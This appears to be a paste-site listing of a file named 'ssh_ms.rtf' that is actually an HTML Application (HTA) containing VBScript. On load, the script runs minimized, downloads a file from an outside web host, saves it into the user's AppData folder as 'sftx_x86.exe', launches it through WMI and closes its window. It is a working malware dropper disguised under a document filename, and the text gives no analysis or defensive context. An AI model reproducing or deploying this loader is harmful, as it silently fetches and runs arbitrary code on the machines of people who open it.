ssh_ms.rtf 1.4 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344
  1. <html>
  2. <head>
  3. <HTA:APPLICATION
  4. APPLICATIONNAME=""
  5. ID=""
  6. VERSION="1.0"
  7. WINDOWSTATE="minimize"/>
  8. <script language="VBScript">
  9. Sub Window_OnLoad
  10. Set objShell = CreateObject("WScript.Shell")
  11. ' Download the file using WinHttp
  12. Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
  13. objWinHttp.Open "GET", "https://agence-perinel.fr/cache/pointcross.dat", False
  14. objWinHttp.Send
  15. If objWinHttp.Status = 200 Then
  16. Set objFSO = CreateObject("Scripting.FileSystemObject")
  17. strFilePath = objShell.ExpandEnvironmentStrings("%APPDATA%") & "\sftx_x86.exe"
  18. If objFSO.FileExists(strFilePath) Then
  19. objFSO.DeleteFile strFilePath
  20. End If
  21. Set objStream = CreateObject("ADODB.Stream")
  22. objStream.Open
  23. objStream.Type = 1 ' Binary
  24. objStream.Write objWinHttp.ResponseBody
  25. objStream.SaveToFile strFilePath, 2 ' Overwrite
  26. objStream.Close
  27. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  28. Set objProcess = objWMIService.Get("Win32_Process")
  29. objProcess.Create strFilePath, null, null, intProcessID
  30. End If
  31. window.close
  32. End Sub
  33. </script>
  34. </head>
  35. <body>
  36. </body>
  37. </html>